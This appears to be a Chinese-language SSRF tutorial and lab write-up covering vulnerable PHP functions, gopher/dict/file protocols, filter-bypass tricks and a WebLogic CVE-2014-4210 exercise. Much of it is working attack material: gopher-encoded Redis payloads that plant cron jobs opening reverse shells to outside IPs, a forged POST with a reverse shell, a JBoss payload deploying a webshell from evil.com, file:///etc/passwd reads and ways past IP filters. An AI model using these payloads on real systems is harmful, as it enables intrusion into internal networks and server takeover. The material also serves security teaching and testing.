一、SSRF概述

  SSRF(Server-Side Request Forgery:服务器端请求伪造),是一种由攻击者构造请求,由服务端发起请求的安全漏洞。

  其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据

  数据流:攻击者—–>服务器—–>目标地址

  根据后台使用函数的不同,对应的影响和利用方法又有不一样

  PHP中下面函数的使用不当会导致SSRF:

file_get_contents()
fsockopen()
curl_exec()

  如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤。

  你可以根据“SSRF”里面的项目来搞懂问题的原因

img

二、原理

  很多Web应用都提供了从其他的服务器上获取数据的功能,根据用户指定的URL,Web应用便可以获取图片,下载文件,读取文件内容等。SSRF的实质是利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。一般情况下,SSRF攻击的目标是外网无法访问的内部系统,黑客可以利用SSRF漏洞获取内部系统的一些信息(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

img

三、利用SSRF可以实现的攻击

  攻击者想要访问主机B上的服务,但是由于存在防火墙或者主机B是属于内网主机等原因导致攻击者无法直接访问主机B。而服务器A存在SSRF漏洞,这时攻击者可以借助服务器A来发起SSRF攻击,通过服务器A向主机B发起请求,从而获取主机B的一些信息。

img

  1. 对外网、服务器所在的内网、本地进行端口扫描,获取一些服务的Banner信息
  2. 攻击运行在内网或本地的应用程序
  3. 对内网Web应用进行指纹识别,识别企业内部的资产信息
  4. 攻击内外网的Web应用,主要是使用GET请求就可以实现的攻击(比如: Struts2、 sqli)
  5. 下载内网资源(如:利用file协议读取本地文件等)
  6. 进行跳板
  7. 无视cdn
  8. 利用Redis未授权访问,HTTP CRLF注入实现getshell

四、SSRF漏洞相关函数和协议

1、PHP函数

  file_get_contents()fsockopen()curl_exec()fopen()readfile()等函数使用不当会造成SSRF漏洞

(1)file_get_contents()

  file_get_contents函数从用户指定的url获取内容,然后指定一个文件名进行保存,并展示给用户。file_put_contents函数把一个字符串写入文件中。

  比如以下代码在Win10上部署,这段代码使用file_get_contents()函数从用户指定的URL获取图片并展示给用户。和Win10同一内网的Kali在8000端口服务开启了只供内部人员使用的资料比如ssrf_flag,此时如果攻击者提交如下Payload,就可以获取到内网主机HTTP服务8000端口的开放情况

<?php
$url = $_GET['url'];
echo file_get_contents($url);
?>

img

(2)fsockopen()

<?php 
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限

(3)curl_exec()

<?php 
if (isset($_POST['url'])){
$link = $_POST['url'];
$curlobj = curl_init();// 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
$result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源

$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
curl_exec函数用于执行指定的cURL会话

(4)注意

1. 一般情况下PHP不会开启fopen的gopher wrapper
2. file_get_contents的gopher协议不能URL编码
3. file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
4. curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5. curl_exec() //默认不跟踪跳转
6. file_get_contents() // file_get_contents支持php://input协议

2、协议

(1)file

  在有回显的情况下,利用 file 协议可以读取任意内容

file:///etc/passwd
file:///etc/apache2/apache2.conf

(2)dict

  泄露安装软件版本信息,查看端口,操作内网Redis服务等

dict://192.168.15.111:22        //读取本地服务器22端口信息
dict://dict://192.168.15.51:22 //读取和本地服务器相通的服务器22端口信息

(3)Gopher

  Gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合Gopher协议的请求。Gopher协议是SSRF利用中一个最强大的协议(俗称万能协议)。可用于反弹shell

(4)http/s

  探测内网主机存活

五、容易出现SSRF漏洞的地方

(1)从WEB功能上寻找

  1. 分享:通过URL地址分享网页内容
  2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
  3. 在线翻译:通过URL地址翻译对应文本的内容。提供此功能的国内公司有百度、有道等
  4. 图片加载与下载:通过URL地址加载或下载图片
  5. 图片、文章收藏功能
  6. 未公开的api实现
  7. 网站采集、网页抓取的地方。
  8. 头像的地方。(远程加载头像)
  9. 一切要你输入网址的地方和可以输入ip的地方。

(2)从URL关键字中寻找

share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
......

六、SSRF漏洞利用

1、本地利用

  以curl举例,查看 curl 支持的协议列表 curl -V

img(1)使用file协议 file protocol (任意文件读取)

curl -v 'file:///etc/passwd'

img

(2)使用dict协议 dict protocol (获取Redis配置信息)

curl -v 'dict://127.0.0.1:6379/info'

(3)使用Gopher协议(俗称万能协议) gopher protocol (一键反弹Bash)

curl -v 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

2、远程利用

(1)环境

攻击机ip:192.168.201.129、121.36.67.230
攻击机:Kali、公网服务器
远程服务器ip:39.x.x.x
docker镜像:ssrf_redis
PHP版本:PHP Version 7.2.28(5.6版本测试会失败)

  关闭了防跨站攻击

img

(2)远程利用示例代码

  ssrf.php

<?php
$ch = curl_init(); //创建新的 cURL 资源
curl_setopt($ch, CURLOPT_URL, $_GET['url']); //设置URL 和相应的选项
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); //抓取 URL 内容并把它传递给浏览器,存储进文件
curl_close($ch); //关闭 cURL 资源,并且释放系统资源
?>

  post.php

<html>
<head>
<title>post</title>
</head>
<body>
<?php
echo $_REQUEST[cmd];
?>
</body>
</html>

(3)远程利用方式

a、利用file协议

  任意文件读取

img

curl -v 'http://ssrf.xxx.com/ssrf.php?url=file:///etc/passwd'

img

b、利用dict协议

(1)查看端口及端口上运行服务的版本信息

img

curl -v 'http://ssrf.xxx.com/ssrf.php?url=dict://127.0.0.1:22/'

img

  说明22端口开放

(2)通过dict协议GetShell

  有关dict协议:向服务器的端口请求 命令:参数,并在末尾自动补上\r\n(CRLF)

img

  dict协议要一条一条的执行,而Gopher协议执行一条命令就行了。

c、利用Gopher协议

(1)攻击内网Redis并反弹shell

  利用Redis未授权访问攻击Redis

  攻击Redis的exp

echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/121.36.67.230/5555 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
bash shell.sh 39.x.x.x 6379

  从而捕获到数据,并进行转换,转换规则如下:

如果第一个字符是>或者<那么丢弃该行字符串,表示请求和返回的时间。
如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
将\r字符串替换成%0d%0a
空白行替换为%0a

  结合Gopher协议攻击内网Redis,使用上边捕获数据的转换结果即可,然后进行反弹Shell:

curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.4:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f121.36.67.230%2f5555%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'

img

img

  反弹成功

http://39.x.x.x:8000/ssrf.php是存在SSRF漏洞的Web服务
192.168.1.4是redis应用所在内网ip
121.36.67.230是公网服务器,接收反弹shell
(2)伪造POST请求反弹Shell
curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.5:80/_POST%20/post.php%20HTTP/1.1%250d%250aHost:%2039.105.93.165%250d%250aUser-Agent:%20curl/7.58.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd%3Dccccc%250d%250a%250d%250abash%20-i%20%3E%26%20%2fdev%2ftcp%2f121.36.67.230%2f4444%200%3E%261'

img

img

  反弹成功

192.168.1.5是内网Web服务,有post.php

d、利用http/s协议

(1)探测内网主机存活

img

  说明内网ip为192.168.1.3的主机存活

(2)端口扫描
http://example.com/ssrf.php?url=http://192.168.0.108:21/
http://example.com/ssrf.php?url=http://192.168.0.108:22/
http://example.com/ssrf.php?url=http://192.168.0.108:80/
http://example.com/ssrf.php?url=http://192.168.0.108:443/
http://example.com/ssrf.php?url=http://192.168.0.108:3306/

  可通过应用响应时间、返回的错误信息,返回的服务Banner来判断端口是否开放,如图所示

imgimg

  上面两张图中,左侧为访问22端口并从错误信息中返回Banner,右侧为访问21端口被拒绝(未开放)。当PHP未开启显错模式时,可通过响应时间来判断端口是否开放。本人实验结果是开放端口响应更快。

(3)对内网Web应用进行指纹识别及攻击其中存在漏洞的应用

  大多数Web应用都有一些独特的文件和目录,通过这些文件可以识别出应用的类型,甚至详细的版本。基于此特点可利用SSRF漏洞对内网Web应用进行指纹识别,如下Payload可以识别主机是否安装了WordPress

http://example.com/ssrf.php?url=https%3A%2F%2F127.0.0.1%3A443%2Fwp-content%2Fthemes%2Fdefault%2Faudio.jpg

http://example.com/ssrf.php?url=https://127.0.0.1:443/wp-content/themes/default/audio.jpg

  得到应用指纹后,便能有针对性地对其存在的漏洞进行利用。如下Payload展示了如何利用SSRF漏洞攻击内网的JBoss应用:

http://example.com/ssrf.php?url=https%3A%2F%2F127.0.0.1%3A8080%2Fjmx-console%2FHtmlAdaptor%3Faction%3DinvokeOp%26name%3Djboss.system%253Aservice%253DMainDeployer%26methodIndex%3D3%26arg0%3Dhttp%253A%252F%252Fevil.com%252Fwebshell.war

http://example.com/ssrf.php?url=https://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system%3Aservice%3DMainDeployer&methodIndex=3&arg0=http%3A%2F%2Fevil.com%2Fwebshell.war

http://example.com/ssrf.php?url=https://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=3&arg0=http://evil.com/webshell.war

e、命令执行

  PHP环境下如果安装了expect扩展,还可以通过expect协议执行系统命令,如:

http://example.com/ssrf.php?url=expect://id

七、防护绕过

1、常见防护方式

很多开发者使用正则表达式端方式对SSRF中的请求地址进行过滤,具体表现如下:

  1. 限制请求特定域名
  2. 禁止请求内网IP

然而,这两种过滤都很容易被绕过,可用的方法具体如下:

2、防护绕过

(1)使用@

  使用 http://[email protected] 这种格式来绕过正则

  在对@解析域名中,不同的处理函数存在处理差异,如:http://[email protected]@www.ccc.com在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com

(2)另类IP地址写法

  IP地址转为进制(八进制、十进制、十六进制)及IP地址省略写法,举例说明如下

[+] 0177.000.00.01    八进制
[+] 2130706433 十进制
[+] 0x7f.0x0.0x0.0x1 十六进制
[+] 127.1 IP地址省略写法
以上4种写法均可表示127.0.0.1

(3)配置域名

  如果我们手中有可控域名,则可根据那个域名A记录指向欲请求的IP进行绕过操作:

evil.example.com => 10.0.18.3

  或者利用DNS解析为指定的域名,evil.example.com可以指向任意域名

evil.example.com => heihei.com

(4)利用[::]绕过localhost

  可以利用[::]来绕过localhost

http://[::]:80/  >>>  http://127.0.0.1

(5)添加端口号

http://127.0.0.1:8080

(6)利用短网址

(7)句号

127。0。0。1  >>>  127.0.0.1

(8)302跳转

  使用https://tinyurl.com生成302跳转地址

3、常见绕过形式

(1)限制为http://www.xxx.com 域名

  采用http基本身份认证的方式绕过。即@

http://[email protected]

(2)限制请求IP不为内网地址

当不允许ip为内网地址时

  1. 采取短网址绕过
  2. 采取特殊域名
  3. 采取进制转换

(3)限制请求只为HTTP协议

  1. 采取302跳转
  2. 采取短地址

八、实战

1、weblogic ssrf攻击redis

CVE-2014-4210

下载地址:https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf

编译并启动环境

docker-compose build
docker-compose up -d

访问http://your-ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用。

img

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

(1)查看端口

http://192.168.0.108:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001`,访问一个可以访问的`IP:PORT`,如`http://127.0.0.1:7001`, 访问的端口将会得到错误,一般是返回`status code`(如下图),如果访问的非http协议,则会返回`did not have a valid SOAP content-type

img

修改为一个不存在的端口,将会返回could not connect over HTTP to server

img

通过错误的不同,即可探测内网状态。

(2)注入HTTP头,利用Redis反弹shell

  Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

  首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.18.0.2:6379可以连通:

img

发送三条Redis命令,将反弹shell脚本写入/etc/crontab定时任务:

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/1.15.35.104/4444 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

进行url编码:

set%201%20%22%5cn%5cn%5cn%5cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3e%26%20%2fdev%2ftcp%2fevil%2f21%200%3e%261'%5cn%5cn%5cn%5cn%22%0aconfig%20set%20dir%20%2fetc%2f%0aconfig%20set%20dbfilename%20crontab%0asave

注意,换行符是 \r\n ,也就是 %0D%0A

将url编码后的字符串放在ssrf的域名后面,发送:

http://192.168.0.108:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.2:6379/test/%0d%0a%0d%0aset%201%20%22%5cn%5cn%5cn%5cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3e%26%20%2fdev%2ftcp%2fevil%2f21%200%3e%261'%5cn%5cn%5cn%5cn%22%0aconfig%20set%20dir%20%2fetc%2f%0aconfig%20set%20dbfilename%20crontab%0asave

img